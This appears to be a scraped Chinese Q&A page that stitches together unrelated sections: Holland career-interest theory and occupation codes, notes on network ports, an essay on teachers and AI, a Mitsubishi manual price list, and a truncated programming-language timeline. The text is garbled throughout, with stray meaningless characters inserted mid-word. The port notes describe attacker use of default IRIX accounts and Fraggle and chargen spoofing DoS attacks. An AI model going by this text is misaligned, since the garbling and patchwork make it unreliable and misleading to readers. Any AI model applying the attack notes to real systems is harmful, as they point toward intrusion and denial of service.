很多人都知道格林斯潘的故事,他連續五次出任美聯儲主席,是當代對美國和世界經濟最具影響力的經濟學家之一。但是有誰知道,格林斯潘其實畢業於一所音樂學院,學校的專業是單簧管,從音樂學院輟學後,當了一名爵士樂手。後來經過深入思考後,他放棄了熱愛13年的音樂,轉向了經濟學,後來人們就看到了一位表情嚴肅、不拘言笑、舉止小心謹慎的經濟學家,而很難想像,這位經濟學家曾經是一位穿著鮮艷亮麗的黃色夾克衫,以吹奏著單簧管衛生,浪跡美國各個城鎮和鄉村爵士樂俱樂部的音樂家。格林斯潘在經濟領域的卓越成績,告訴我們只有找到自己真正的興趣才是走上了正確的道路。
感覺的興趣不一定是真實的興趣
霍蘭德職業興趣,帶你了解自己真實的興趣
目前,一個人想了解到自己最真實、准確的興趣,還是需要藉助一定的工具的,霍蘭德職業興趣測評無疑是目前最好用的工具。
霍蘭德職業興趣理論是美國約翰·霍普金斯大學的心理學教授約翰·霍蘭德(JohnHolland)於1959年提出的。霍蘭德是美國著名的職業指導專家,長期從事職業咨詢工作,通過對自己職業生涯與他人的職業道路進行深入研究後,認為某一特殊類別的人格傾向,會對這種類型的工作發生興趣,霍蘭德和他的助手在幾十年間經過一百多次大規模的實驗研究,首次提出了具有廣泛社會影響的人職互擇理論,也就是我們通常說的霍蘭德職業興趣理論。
霍蘭德教授認為,人的人格類型、興趣與職業密切相關,興趣是人們活動的巨大動力,一個人一旦對自己所做的工作感興趣,他便會積極、愉快地從事該工作。此外,霍蘭德教授認為,人格可分為社會型、企業型、常規型、現實型、研究型和藝術型六種類型,霍蘭德職業興趣理論把個人特質與適合這種特質的工作密切聯系起來,巧妙地拉近了自我與工作世界的距離。藉助霍蘭德代碼的協助,測評者能迅速地、系統地,而且有所依據地在一個特定的職業群里進行探索活動。
霍蘭德職業興趣理論的提出給了我們依據興趣選擇工作的可能,讓我們能夠積極主動的探索適合自己的職業,為我們找到真正適合自己的職業發展指明了一個方向。
霍蘭德興趣理論認為:職業選擇是人格的一種表現,某一類型的職業通常會吸引具有相同特質的人,這種人格特質反映在職業上,就是職業興趣。
根據職業興趣,霍蘭德將人的人格分劃分為六種類型:現實型、研究型、藝術型、社會型、事業型、常規型。霍蘭德認為不同性格、不同興趣的人適合從事不同的工作,這一 理論經過60多年的實踐得到了廣泛的認可。
霍蘭德職業興趣是目前最有效的工具
六種職業興趣類型:
霍蘭德職業興趣六邊形:
霍蘭德將六種職業興趣用一個六角形模型來解釋其相互間的關系:
從上圖中可以看出,每一種類型與其他類型之間存在不同程度的關系,大體可描述為三類:
相鄰關系:如R與I、I與A、A與S、S與E、E與C、C與R。屬於這種關系的兩種類型的個體之間都有一些明顯的共同點。實際型R與研究型I的人都喜歡安靜,不太偏好人際交往;研究型I與藝術型A的人思想上都比較獨立,不會人雲亦雲;藝術型A與社會型S的人做事都比較靈活,不太拘泥常規;社會型S與企業型E的人都熱衷說服他人,比較樂於人際交往;企業型E與事務型C的人都看重他人的贊許,對外界的贊許比較悅納;事務型C與實際型R的人做事都比較細致,能夠按照按部就班地工作。
相隔關系:如R與A、R與E、I與C、I與S、A與E、S與C,屬於這種關系的兩種類型個體之間共同點較相鄰關系少,不詳細探討。
相對關系:在六邊形上處於對角位置的類型之間即為相對關系,如R與S、I與E、A與C,屬於這種關系的人在某些方面存在著相反性。實際型R與社會型S的人在是否主動與人交往上是相反的。R型通常不太與人交往,甚至迴避交往,而S型則會主動與人交往,甚至離不開人際交往。研究型I與企業型E的人在是否影響他人思想方面是相反的。I型通常思想獨立,不會輕易受到他人的影響,而E型通常希望掌控他人的思想,而不僅僅影響他人行為。藝術型A與事務型C的人在是否要遵從規范方面是相反的。A型大腦中通常沒有條條框框,具有創新和創造能力,而C型通常看重各種規范,做事循規蹈矩。
霍蘭德職業興趣的實測步驟與解讀:
第一步,施測
目前網上可以搜到興趣測驗題目(如找不到可私信發你),按照測試要求進行作答。
霍蘭德職業興趣測驗包括八個部分:即你心目中的理想職業、你所感興趣的活動、你所擅長的活動、你所喜好的職業、你的能力類型自評、你的職業興趣類型、職業價值觀和職業興趣類型及對應的職業索引。
可以搜索到測試題,或私信索取
第二步,確定你的主要職業類型
測評結果出來後,計算分值,並由高到低排定職業興趣類型的順序,前二位或前三位職業類型確定了被測者的職業興趣類型,也就是被測者的「霍蘭德職業興趣代碼」。如RI、SC(兩碼組合);RCA、AIS(三碼組合)等。這其中排在首位的是主型(職業興趣的主要類型),後面1~2位(次位和末位)為輔型。
主要職業類型不一定是一個
第三步,對照職業興趣代碼,找到自己最理想的職業
為了讓霍蘭德職業興趣代碼具有實際的指導價值,霍蘭德及其同事做了一項非常龐大的研究工作來鑒別不同職業的霍蘭德職業興趣代碼。1996年,他們出版了美國版本的《霍蘭德職業代碼字典》,該書為12000多種職業提供了代碼。兩碼共有30種組合類型;三碼共有120種組合類型。
確定自己的職業類型組合後,通過對照職業興趣代碼,就能找到自己的理想職業 。 例如你的職業興趣代號是RIA,那麼牙科技術人員、陶工等是適合你興趣的職業。然後尋找與你職業興趣代號相近的職業,如你的職業興趣代號是RIA,那麼,其他由這三個字母組合成的編號(入IRA、IAR、ARI等)對應的職業,也較適合你的興趣。
職業代碼很多
兩碼包含的30種職業興趣代碼:
RI:通常所說的技術性工種,像電力和電器類技術工、機加工技術工、大型設備操作工,以及各種技師等
RA:雕刻工、手工刺綉、傢具製作工、服裝製作工、花匠、廚師等
RS:計程車司機、家電維修工等
RE:質檢員、登山導游等
RC:各類檢修人員、公交車駕駛員等
IR:各類工程技術人員、計算機編程人員等
IS:社會學研究人員、 心理學研究人員、大學教文科類教師等
IE:管理學科研究人員、 衛生防疫專家、系統分析員等
IC:統計分析師、財務分析師等
AR:電影電視攝影師、 錄音師、動畫製作人員、舞台燈光師等
AI:劇作家、時裝設計師、建築設計師、畫家等
AS:廣告設計師、時裝模特、演員、裝飾設計師等
AE:職業導演、 節目主持人
AC:櫥窗裝飾師、化妝師等
SR:護士、 職業學校的實訓教師、體育教師、保姆等
SI:中學教師、 心理咨詢師、職業指導師、市場調查人員等
SA:新聞記者、公共關系人員、活動策劃人員等
SE:社區工作人員、福利機構工作人員等
SC:餐旅服務人員、營業員、前台工作人員等
ER:車間主任、船長等
EI:研究機構管理人員、總工程師、總設計師等
EA:製片人、舞台監督、律師等
ES:營銷經理、營銷人員、中小學校長、公共關系經理等
EC:政府官員、大堂經理、領班、辦公室負責人等
CR:實驗員、文印人員、計算機錄入員等
CI:按投資分析員、會計師、數據採集人員、統計員等
CS:法庭速記員、倉庫保管員、銀行職員、圖書管理員等
CE:秘書、一般公務員、行政助理等
三碼包含的120種職業興趣代碼:
RIA:牙科技術員、陶工、建築設計員、模型工、細木工、製作鏈條人員。
RIS:廚師、林務員、跳水員、潛水員、染色員、電器修理、眼鏡製作、電工、紡織機器裝配工、服務員、裝玻璃工人、發電廠工人、焊接工。
RIE;建築和橋梁工程、環境工程、航空工程、公路工程、電力工程、信號工程、電話工程、一般機械工程、自動工程、礦業工程、海洋工程、交通工程技術人員、制圖員、家政經濟人員、計量員、農民、農場工人、農業機械操作、清潔工、無線電修理、汽車修理、手錶修理、管工、線路裝配工、工具倉庫管理員。
RIC:船上工作人員、接待員、雜志保管員、牙醫助手、制帽工、磨坊工、石匠、機器製造、機車(火車頭)製造、農業機器裝配、汽車裝配工、縫紉機裝配工、鍾表裝配和檢驗、電動器具裝配、鞋匠、鎖匠、貨物檢驗員、電梯機修工、托兒所所長、鋼琴調音員、裝配工、印刷工、建築鋼鐵工作、卡車司機。
RAI:手工雕刻、玻璃雕刻、製作模型人員、傢具木工、製作皮革品、手工綉花、手工鉤針紡織、排字工作、印刷工作、圖畫雕刻、裝訂工。
RSE:消防員、交通巡警、警察、門衛、理發師、房間清潔工、屠夫、鍛工、開鑿工人、管道安裝工、出租汽車駕駛員、貨物搬運工、送報員、勘探員、娛樂場所的服務員、起卸機操作工、滅害蟲者、電梯操作工、廚房助手。
RSI:紡織工、編織工、農業學校教師、某些職業課程教師(諸如藝術、商業、技術、工藝課程)、雨衣上膠工。
REC:抄水表員、保姆、實驗室動物飼養員、動物管理員。
REI:輪船船長、航海領航員、大副、試管實驗員。RES:旅館服務員、家畜飼養員、漁民、漁網修補工、水手長、收割機操作工、搬運行李工人、公園服務員、救 生員、登山導游、火車工程技術員、建築工作、鋪軌工人。
RCS:公共汽車駕駛員、一等水手、游泳池服務員、裁縫、建築工作、石匠、煙囪修建工、混凝土工、電話修理工、爆炸手、郵遞員、礦工、裱糊工人、紡紗工。
RCE:打井工、吊車駕駛員、農場工人、郵件分類員、鏟車司機、拖拉機司機。
IAS:普通經濟學家、農場經濟學家、財政經濟學家、國際貿易經濟學家、實驗心理學家、工程心理學家、心理學家、哲學家、內科醫生、數學家。
IAR:人類學家、天丈學家、化學家、物理學家、醫學病理、動物標本剝制者、化石修復者、藝術品管理者。
ISE:營養學家、飲食顧問、火災檢查員、郵政服務檢查員。
ISC:偵察員、電視播音室修理員、電視修理服務員、驗屍室人員、編目錄者、醫學實驗定技師、調查研究者。
ISR:水生生物學者,昆蟲學者、微生物學家、配鏡師、矯正視力者、細菌學家、牙科醫生、骨科醫生。
ISA:實驗心理學家、普通心理學家、發展心理學家、教育心理學家、社會心理學家、臨床心理學家、目標學家、皮膚病學家、精神病學家、婦產科醫師、眼科醫生、
五官科醫生、醫學實驗室技術專家、民航醫務人員、護士。
IES:細菌學家、生理學家、化學專家、地質專家、地理物理學專家、紡織技術專家、醫院葯劑師、工業葯劑師、葯房營業員。
IEC:檔案保管員、保險統計員。
ICR:質量檢驗技術員、地質學技師、工程師、法官、圖書館技術輔導員、計算機操作員、醫院聽診員、家禽檢查員。
IRA:地理學家、地質學家、聲學物理學家、礦物學家、古生物學家、石油學家、地震學家、聲學物理學家、原子和分子物理學家、電學和磁學物理學家、氣象學家、設計審核員、人口統計學家、數學統計學家、外科醫生、城市規劃家、氣象員。
IRS:流體物理學家、物理海洋學家、等離子體物理學家、農業科學家、動物學家、食品科學家、園藝學家、植物學家、細菌學家、解剖學家、動物病理學家、作物病理學家、葯物學家、生物化學家、生物物理學家、細胞生物學家、臨床化學家、遺傳學家、分子生物學家、質量控制工程師、地理學家、獸醫、放射性治療技師。
IRE:化驗員、化學工程師、紡織工程師、食品技師、漁業技術專家、材料和測試工程師、電氣工程師、土木工程師、航空工程師、行政官員、冶金專家、原子核工程師、陶瓷工程師、地質工程師、電力工程量、口腔科醫生、牙科醫生。
IRC:飛機領航員、飛行員、物理實驗室技師、文獻檢查員、農業技術專家、動植物技術專家、生物技師、油管檢查員、工商業規劃者、礦藏安全檢查員、紡織品檢驗員、照相機修理者、工程技術員、編計算程序者、工具設計者、儀器維修工。
CRI:簿記員、會計、記時員、鑄造機操作工、打字員、按鍵操作工、復印機操作工。
CRS:倉庫保管員、檔案管理員、縫紉工、講述員、收款人。
CIS:記賬員、顧客服務員、報刊發行員、土地測量員、保險公司職員、會計師、估價員、郵政檢查員、外貿檢查員。
CIE:打字員、統計員、支票記錄員、訂貨員、校對員、辦公室工作人員。
CIR:校對員、工程職員、海底電報員、檢修計劃員、發扳員。
CSE:接待員、通訊員、電話接線員、賣票員、旅館服務員、私人職員、商學教師、旅遊辦事員。
CSR:運貨代理商、鐵路職員、交通檢查員、辦公室通信員、薄記員、出納員、銀行財務職員。
CSA:秘書、圖書管理員、辦公室辦事員。
CER:郵遞員、數據處理員、辦公室辦事員。
CEI:推銷員、經濟分析家。
CES:銀行會計、記賬員、法人秘書、速記員、法院報告人。
ECI:銀行行長、審計員、信用管理員、地產管理員、商業管理員。
ECS:信用辦事員、保險人員、各類進貨員、海關服務經理、售貨員,購買員、會計。
ERI:建築物管理員、工業工程師、農場管理員、護士長、農業經營管理人員。
ERS:倉庫管理員、房屋管理員、貨棧監督管理員。
ERC:郵政局長、漁船船長、機械操作領班、木工領班、瓦工領班、駕駛員領班。
EIR:科學、技術和有關周期出版物的管理員。
EIC:專利代理人、鑒定人、運輸服務檢查員、安全檢查員、廢品收購人員。
EIS:警官、偵察員、交通檢驗員、安全咨詢員、合同管理者、商人。
EAS:法官、律師、公證人。
EAR:展覽室管理員、舞台管理員、播音員、訓獸員。
ESC:理發師、裁判員、政府行政管理員、財政管理員、I程管理員、職業病防治、售貨員、商業經理、辦公室主任、人事負責人、調度員。
ESR:傢具售貨員、書店售貨員、公共汽車的駕駛員、日用品售貨員、護士長、自然科學和工程的行政領導。
ESI:博物館管理員、圖書館管理員、古跡管理員、飲食業經理、地區安全服務管理員、技術服務咨詢者、超級市場管理員、零售商品店店員、批發商、出租汽車服務站調度。
ESA:博物館館長、報刊管理員、音樂器材售貨員、廣告商售畫營業員、導游、(輪船或班機上的)事務長、飛機上的服務員、船員、法官、律師。
ASI:音樂教師、樂器教師、美術教師、管弦樂指揮,合唱隊指揮、歌星、演奏家、哲學家、作家、廣告經理、時裝模特。
AER:新聞攝影師、電視攝影師、藝術指導、錄音指導、丑角演員、魔術師、木偶戲演員、騎士、跳水員。
AEI:音樂指揮、舞台指導、電影導演。
AES:流行歌手、舞蹈演員、電影導演、廣播節目主持人、舞蹈教師、口技表演者、喜劇演員、模特。
AIE:花匠、皮衣設計師、工業產品設計師、剪影藝術家、復制雕刻品大師。
AIR:建築師、畫家、攝影師、繪圖員、環境美化工、雕刻家、包裝設計師、陶器設計師、綉花工、漫畫工。
SEC:社會活動家、退伍軍人服務官員、工商會事務代表、教育咨詢者、宿舍管理員、旅館經理、飲食服務管理員。
SER:體育教練、游泳指導。
SEI:大學校長、學院院長、醫院行政管理員、歷史學家、家政經濟學家、職業學校教師、資料員。
SCE:部長助理、福利機構職員、生產協調人、環境衛生管理人員、戲院經理、餐館經理、售票員。
SRI:外科醫師助手、醫院服務員。
SRE:體育教師、職業病治療者、體育教練、專業運動員、房管員、兒童家庭教師、警察、引座員、傳達員、保姆。
SRC:護理員、護理助理、醫院勤雜工、理發師、學校兒童服務人員。
SIA:社會學家、心理咨詢者、學校心理學家、政治科學家、大學或學院的系主任、大學或學院的教育學教師、大學農業教師、大學工程和建築課程的教師、大學法律教師、大學數學、醫學、物理、社會科學和生命科學的教師、研究生助教、成人教育教師。
SIE:營養學家、飲食學家、海關檢查員、安全檢查員、稅務稽查員、校長。
SIR:理療員、救護隊工作人員、手足病醫生、職業病治療助手。
簡易找到自己的職業代碼
然後請按照以下方式計算分值:
第一步,將所選中的6個職業的代碼填在表中最後一列,每一行填一個代碼。我們將實例的6個職業:外科醫生(IRA)、船長(ERC)、攝影師(ARS)、律師(EAS)、社會科學研究者(ISA)和中學教師(SIE)的代碼分別填入表中。
第二步,看看6個代碼中出現在首位的字母的次數,將其乘以3,填在表格相應的空格內。在我們所舉的實例中,首位I出現了2次,故在對應的格內填6,然後依此類推(見表)。次位和末位也是如此。最後縱向計算出每個字母的合計分值,並填在相應空格內。
第三步,我們已經給出了每個字母的校正系數,請將各個字母的合計分值乘以校正系數,就得到最終的校正分值。
第四步,按照校正分值由高到低排列,前3個字母即為你的霍蘭德職業代碼。
所舉實例的霍蘭德職業興趣代碼即為:SEA。
把興趣變成能力,用能力兌換價值,用價值強化興趣
職業生涯理論中有個三葉草模型,該模型揭示了個人在職業生涯發展過程中,興趣、能力與價值三者的推動關系,即如何把興趣發展為能力,用平台兌換價值,然後用價值強化興趣。每個人都有自己的興趣,但是興趣不一定能夠為自己帶來經濟利益,也不一定能夠做成事業。每個人只有做自己感興趣的事,才會全力投入,所以職業規劃就是如何把興趣變成工作,通過工作提升能力,通過能力獲得價值才是一條正確的職場之路。
沿著興趣走的路一定有光明的未來
⑷ 計算機網路埠號
詳盡臘肆攔埠介紹埠:0
服務:Reserved
說明:通常用於分析操作系統。這一方法能夠工作是因為在一些系統中「0」是無效埠,當你試圖使用通常的閉合埠連接它時將產生不同的結果。一種典型的掃描,使用IP地址為0.0.0.0,設置ACK位並在乙太網層廣播。
埠:1
服務:tcpmux
說明:這顯示有人在尋找SGI Irix機輪胡器。Irix是實現tcpmux的主要提供者,默認情況下tcpmux在這種系統中被打開。Irix機器在發布是含有幾個默認的無密碼的帳戶,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。許多管理員在安裝後忘記刪除這些帳戶。因此HACKER在INTERNET上搜索tcpmux並利用這些帳戶。
埠:7
服務:Echo
說明:能看到許多人搜索Fraggle放大器時,發送到X.X.X.0和X.X.X.255的信息。
埠:19
服務:Character Generator
說明:這是一種僅僅發送字元的服務。UDP版本將會在收到UDP包後回應含有垃圾字元的包。TCP連接時會發送含有雹運垃圾字元的數據流直到連接關閉。HACKER利用IP欺騙可以發動DoS攻擊。偽造兩個chargen伺服器之間的UDP包。同樣Fraggle DoS攻擊向目標地址的這個埠廣播一個帶有偽造受害者IP的數據包,受害者為了回應這些數據而過載。
埠:21
服務:FTP
說明:FTP伺服器所開放的埠,用於上傳、下載。最常見的攻擊者用於尋找打開anonymous的FTP伺服器的方法。這些伺服器帶有可讀寫的目錄。木馬Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所開放的埠。
埠:22
服務:Ssh
說明:PcAnywhere建立的TCP和這一埠的連接可能是為了尋找ssh。這一服務有許多弱點,如果配置成特定的模式,許多使用RSAREF庫的版本就會有不少的漏洞存在。
⑸ 人工智慧,時代的新寵,教師何去何從
人工智慧成為近期熱詞。在第二屆全國中小學數字化教學會上,張景中院士以「人工智慧」為主題開講《數字化教學資源建設》。7月份,國務院印發《新一代人工智慧發展規劃》 ,提出要在中小學階段設置人工智慧相關課程,逐步推廣編程教育;利用智能技術加快推動人才培養模式,教學方法改革,構建包含智能學習、互動式學習的新型教育體系;開展智能校園建設;開發立體綜合教學場、基於大數據智能的在線學習教育平台;開發智能教育助理,建立智能、快速、全面的教育分析系統……
當教師遇上人工智慧,這已經不是傳說,不是遙遠的想像,而是正在到來的現實。
那麼人工智慧時代,還需要教師嗎?人工智慧時代,學生的學習會發生什麼變化,課堂會發生什麼變化?最重要的是,人工智慧時代,什麼不會改變?華東師范大學李政濤教授的這篇文章也許會給你答案。
人工智慧時代,還需要教師嗎?
人類正在邁入人工智慧時代。各種有關人工智慧的預言、討論鋪天蓋地,催生眾多不同的視角和聲音,但有一點卻是共識:未來很多職業將被人工智慧不同程度替代,包括翻譯、律師、護士、程序員、記者、作家,以及絕大部分體力勞動……
在這份長長的「黑名單」里,教師的地位晦暗不明,是否會從人類社會的職業榜中消逝,尚未形成定論。不管怎樣,人工智慧與教師的相遇已經不可避免。在此前提下,一個重大問題躍然而出,當教師遇上人工智慧,究竟會發生什麼?
首要的問題是:人工智慧時代,還需要教師嗎?
教師如何才能擁有獨特、不可替代的價值和作用? 這需要先洞悉人工智慧將為「學校」、為「學生的學習」、為「課程與教學」等帶來了什麼變化,以這些變化為前提和依據,再來聚焦教師是否能夠在這些變化面前有所作為,以及如何作為。
人工智慧時代,學校還存在嗎?
對於「學校」而言,人工智慧時代的學校同樣具有生存危機,它未必會手敗緩「脫胎換骨」為大小不一的「學習中心」,但可以肯定的是,學校這座「孤島」會在信息技術帶來的開放中,與外界的聯系愈加緊密。學校空間的利用率、學校時間的彈性化也會大幅度提升。更重要的在於,學校的功能和作用將發生重大變化,越來越走向「精準教育」,通過「精準定位」為學生的成長提供「精準服務」。
例如,一位家長帶著15歲的孩子來問學校:「我」的孩子想成為一個哲學家或物理學家畢模,你們可以做些什麼?學校應該告訴家長,「我」這所學校是否可以提供這樣的幫助,有什麼獨特的環境,有什麼教師,有什麼課程,有什麼方法(如提供大量蘇格拉底式或愛因斯坦式的教學方法)等,可以幫助這個學生成為他希望的那類人?如果學校無法提供這樣的「精準服務」,至少可以告訴家長,「我」有別的「精準服務」,有別的什麼充足條件,有助於孩子成長為什麼樣的人,成為什麼類型的人才,如服務型、善用AI型、創意型、領袖型等。
這是人工智慧時代學校最根本的變化,學校不再是為未來職業做准備,而是真正為人的終身學習、終身發展而准備。同樣是「准備」,人工智慧時代的學校準備是「精準准備」,與人才培養和能力提升的「精準特色」有關,這樣才可能帶來真正的「個性化教育」。
人工智慧時代,學生的學習會發生什麼變化?
在學習目標上,首先是「人之為人」的普遍目標。它的重點不再是習得為將來從事某個職業所需要的特有知識、技能與方法,而是擁有合理的價值觀、強大的創新思維與能力,以及自主學習的能力等,這些都是真正「成人」並走向「終身學習」的基礎性、根基性前提。
其次是特殊目標,它與學生的個性化需要有關,是真正的「學以為己」。滿足自己的興趣和需要的學習,形成個性化的知識體系,而不只是適用枯告於所有人的標准化知識體系。
在學習資源上,學生獲取知識與方法的來源與途徑,不再局限於教師與課堂。學生會使用Sri、Cortana、Alexa等人工智慧尋找學習資源,也不再拘泥於制度化、固定化的「課堂時間」。
與此相關的是學習方式的改變。行動電話、平板電腦、掌上電腦等便攜設備使學習不再局限於固定和遇到的地點,它在改變現代社會知識的性質與來源的同時,也改變了知識習得的方式,最終形成移動學習與固定學習並駕齊驅、線上學習與線下學習比翼齊飛、人工智慧與人的智能交融共生的新格局。
在學習夥伴上,昔日近乎同齡的「學習共同體」成員將會發生質的變化。學生的年齡差異會加大,來自學前教育的「混齡教育」將會逐步蔓延、延伸到不同學段的教育。例如,斯坦福大學提出開放式大學的概念,本質上是「混班制」。學生在一生當中任何六年時間里完成學業,即可拿到本科學位。
人工智慧時代,課堂會變成什麼樣子?
對於課程與教學而言,各種課程資源和課程定製的豐富性、專業性,已無須學校和教師過多參與,課程外包或訂購逐漸成為主流。課堂教學的「人工智慧化」已是大勢所趨。例如,除了白板之外,未來的顯示屏可能大到覆蓋整面牆壁,可以操縱顯示幾乎任何課堂需要的內容。智能屏幕成為現代黑板,智能課桌成為現代課桌的升級版本,教師可以隨時插入並控制屏幕與課桌。這些聯網的平板提供了與智能手機相同的在線資源並實現「課堂在場」。
這樣的課堂,是線下實體課堂與線上虛擬課堂的穿梭轉換,學生在線上通過網路社群、創客空間與智能機器人進行個性化的自主學習,在線下集中時進行分享、交流、討論、練習、創造等活動。
人工智慧時代的課堂會更加趨向「個人導向的系統學習」,它是介於「碎片化學習」與「學校內系統學習」之間的課堂學習方式。學習者更多根據個人的興趣愛好、問題解決需要選擇學習內容和學習路徑,而不只是按照學科知識體系的要求進行系統學習。在此過程中,通過平時碎片式的「零存」,最終實現系統性的「整取」,將碎片化知識按照個人的需要逐步建構成屬於自己的知識體系。
這樣的課堂,教師可以利用人工智慧技術和大數據,更加精細、精準地了解學生特點、個性和需要。例如,教師運用一個軟體大致可以知道哪一個知識點、能力點、方法點學生會了,什麼還不會;利用英語語音分析智能軟體,學生跟隨軟體講一句,軟體馬上一點一滴地幫助教師指出學生的發音問題在哪裡、怎麼改?又如,人工智慧技術能夠讓教師知曉哪些學生在聽「我」講話,或在走神,或在睡覺,甚至可以通過腦電圖了解學生課堂上的思維走勢和情感波動……
人工智慧時代,什麼不會改變?
到此為止,已經無須對人工智慧帶來的改變做過多描述,現在最緊迫的問題依舊是:既然如此,教師怎麼辦?什麼可以被人工智慧替代,什麼無法被替代?教師需要做出什麼改變才可能適應這個變化,並掌握主導權,重新置於時代的潮頭。
可以被替代的是那些需要重復做的事情(如布置作業、批改作業),需要大量信息資料搜集、數據積淀和分析的事情(如把很多教師的教學經驗匯聚到機器里,計算所有的可能性,找到最佳路徑),需要精準定位的事情(如學生的個性特質、個性需求,學生的學習難點、障礙點等)。這些事情被替代,是對教師的解放。當人工智慧可以隨時隨地用更精準、更有效的方法來教學的時候,何樂不為?
什麼是人工智慧無法替代的?決定教師能否被替代的不是人工智慧,是教育的本質,是學生的需要,是貫穿其中不變的教育之理、教育之道。在此之前,我們一直在思考並回答「人工智慧時代什麼將發生改變」的問題,與此同時還需要提出另一個問題:人工智慧來了,什麼不會改變?這個明確了,人工智慧時代的教育就圍繞著這些不變的東西「教書育人」。
首先,不變的是教育本身。無論是通過「學校」還是「學習中心」,或者「社區」等其他載體,人類始終需要教育,人工智慧本身的發展、使用始終也離不開教育。既如此,「教育在」則「學生在」,「學生在」則「教師在」。
其次,不變的是教育的本質與真諦。教育是為成人、育人而生的,是為葉瀾教授所言的「教天地人事,育生命自覺」,是「為人的一生幸福奠基」而變革與發展的。不論何種時代的教育,概莫能外,任何人工智慧都不能改變這一真諦。
再次,不變的是學生成長的需要。學生的素養與能力不會自動發生,也不能只憑自學養成,學生的成長始終需要「教師」這樣的引路人、互動者、對話者、幫助者和陪伴者。這些角色,是人工智慧時代教師最需要承擔的角色。他們是陪伴學生在人工智慧時代的重重險灘和荊棘中前行的人,是通過賦予學生自主學習能力和創新性思維,給予學生打破舊知識、創造新知識能力的人,從而是引導、幫助學生在人工智慧的世界裡,獲得不可被替代的自主、自立、自強和自由能力的人。
人工智慧時代的教師需要具備三大本領,即「愛商」「數商」「信商」,才能成為依然被學生需要的人。與人類的智商、情商相呼應,「愛商」是教師最核心的情商,「數商」和「信商」是教師最重要的智商。
「愛商」與價值觀、情感實踐相關。這是人工智慧無法給予學生的。教師首先應是仁愛之人,具備「愛的能力」。這種能力兼容了「情感之愛」與「理性之愛」。它不是有條件、有選擇的「小愛」,而是無條件、一視同仁的「大愛」;不是「抽象的愛」,而是「具體的愛」;不是「模糊的愛」,而是「清晰的愛」。因此,教師能夠精準把握、了解、洞察學生的成長需要與個性特質,及時給予細致入微的個性化關懷、呵護、尊重,因而可以讓學生在充滿了編程、編碼、演算法的冷冰冰的人工智慧世界裡,依然能夠感受到人性的溫度、生命的溫暖和仁愛的力量,進而學會相互傳遞溫暖和仁愛。
「
⑹ 誰知道哪裡有免費的三菱q172cpu的編程軟體,急!!!!謝謝!!
鄭州高恩供應三菱系列編程手冊
FX3U/FX3UC 編程手冊 FX3U/FX3UC編程手冊(基本.應用指令說明書) 中文(三菱原版) 150元
FX3U用戶手冊(硬體篇) FX3U/FX3UC 中文(三菱原版) 160元
FX3U定位模塊手冊 FX3U/FX3UC系列微型可編程式控制制器用戶手冊(定位控制篇) 中文 160元
三菱MR-J3伺服手冊 三菱MR-J3-A伺服放大滾鋒器技術資料集 中文(三菱原版) 200元
GT11用戶手冊 GT11設備 使用說明書 中文(三菱原版) 200元
GT15用戶手冊 GT15設備 使用說明書 中文(三菱原版) 200元
GT Designer2基本操作手冊 GT Designer2 版本2 基本操作/數據傳輸手冊 中文(三菱原版) 250元
GT Designer2畫面設計手冊 GT Designer2 版本2 畫面設計手冊 (上/下分冊) 中文(三菱原版) 450元
Q173/172CPU(N)編程手冊 運動控制器Q系列(Q173CPU(N)/Q172CPU(N)) 編程手冊 中拍弊文 450元
QCPU(Q模式)編程手冊 QCPU(Q模式)/QnACPU編程手冊 / 公共指令 (上/下冊) 中文 550元
Q系列定位模塊手冊 Q系列定位模塊QD75P/QD75D用戶手冊(詳細篇) 中文(三菱原版) 450元
A系列編程大賀晌手冊 公共指令篇 中文(三菱原版) 350元
A系列編程手冊 基礎篇 中文(三菱原版) 350元
FX2N 編程手冊 FX1S FX1N FX2N FX2 FX0N FX2 FX2C 中文(三菱原版) 100元
Q系列CPU用戶參考手冊 QCPU(Q模式) 中文(三菱原版) 250元
Q系列CPU用戶指南 QCPU(Q模式) 中文(三菱原版) 250元
Q系列PLC大全 QCPU(Q模式) 中文(三菱原版) 250元
Q系列CC-LINK網路手冊 Q系列CC-LINK網路系統用戶參考手冊 中文(三菱原版) 250元
FX2N CC-LINK用戶手冊 FX2N-16CCL-M / FX2N-32CCL用戶手冊 中文(三菱原版) 150元
三菱張力控制器用戶手冊 用戶手冊 中文(三菱原版) 150元
三菱磁粉制動器用戶手冊 三菱磁粉制動器/離合器用戶手冊 中文(三菱原版) 150元
FX特殊功能模塊用戶手冊 FX2N-4AD/4DA/8AD/2LC/1PG/485BD/232BD 中文(三菱原版) 150元
FX通信用戶手冊 FX2N-485BD/232BD FX1N-485BD/232BD 中文(三菱原版) 150元
A900GOT圖形操作終端 A975GOT/985GOT/960GOT/A950 用戶手冊 中文(三菱原版) 250元
GT Works版本5參考手冊 GT Works版本5/GT Designer版本5參考手冊 中文(三菱原版) 350元
F900GOT 操作手冊 F930/F940 中文(三菱原版) 200元
F900GOT 硬體手冊 F930/F940 中文(三菱原版) 200元
三菱MR-J2S伺服手冊 MELSERVO-J2-SUPER伺服 中文(三菱原版) 200元
三菱MR-E伺服手冊 MELSERVO MR-E伺服 中文(三菱原版) 200元
FX2N-10GM/20GM手冊 FX2N-10GM/20GM 中文(三菱原版) 250元
A系列10網路手冊 PC TO PC 中文(三菱原版) 350
A系列10網路手冊 遠程I/O網路 中文(三菱原版) 350
可編程式控制制器應用101例 中文(三菱原版) 250
A-PLC基礎教程 中文(三菱原版) 200元
A-PLC應用教程 中文(三菱原版) 200元
A-PLC維護教程 中文(三菱原版) 200元
QnA程序設計教程 MELSEC-QnA程序設計教程 中文(三菱原版) 250元
變頻器原理與應用教程 中文(三菱原版) 150
AC伺服教程 中文(三菱原版) 250
矢量變頻器技術資料集 FR-V200用 中文(三菱原版) 250
Q2AS(H)CPU(S1) 中文(三菱原版) 250
A2ASCPU(S1) 中文(三菱原版) 250
A1SHCPU A1SJH/A1SH/A2SHCPU(S1) 中文(三菱原版) 250
GPP軟體操作手冊 SW3D5C-GPPW/LLT-C操作手冊 中文(三菱原版) 250
GT Works版 5 GT Works版 5/GT Designer 版5 中文(三菱原版) 250
AJ61BT11用戶手冊 AJ61BT11/A1SJ61BT11 中文(三菱原版) 250
FX 綜合編程手冊 中文(三菱原版) 150
FX2N-2LC溫控模塊 中文(三菱原版) 150
MELSEC-Q指南 中文(三菱原版) 250
⑺ 編程語言的歷史
兩個都是英文版的。
編程語言和軟體歷史年表大全
Year - Languages, Operating Systems, Major Programs, Etc.
1945 EDVAC utilizes stored program concept
1945 Plankalkul (Konrad Zuse)
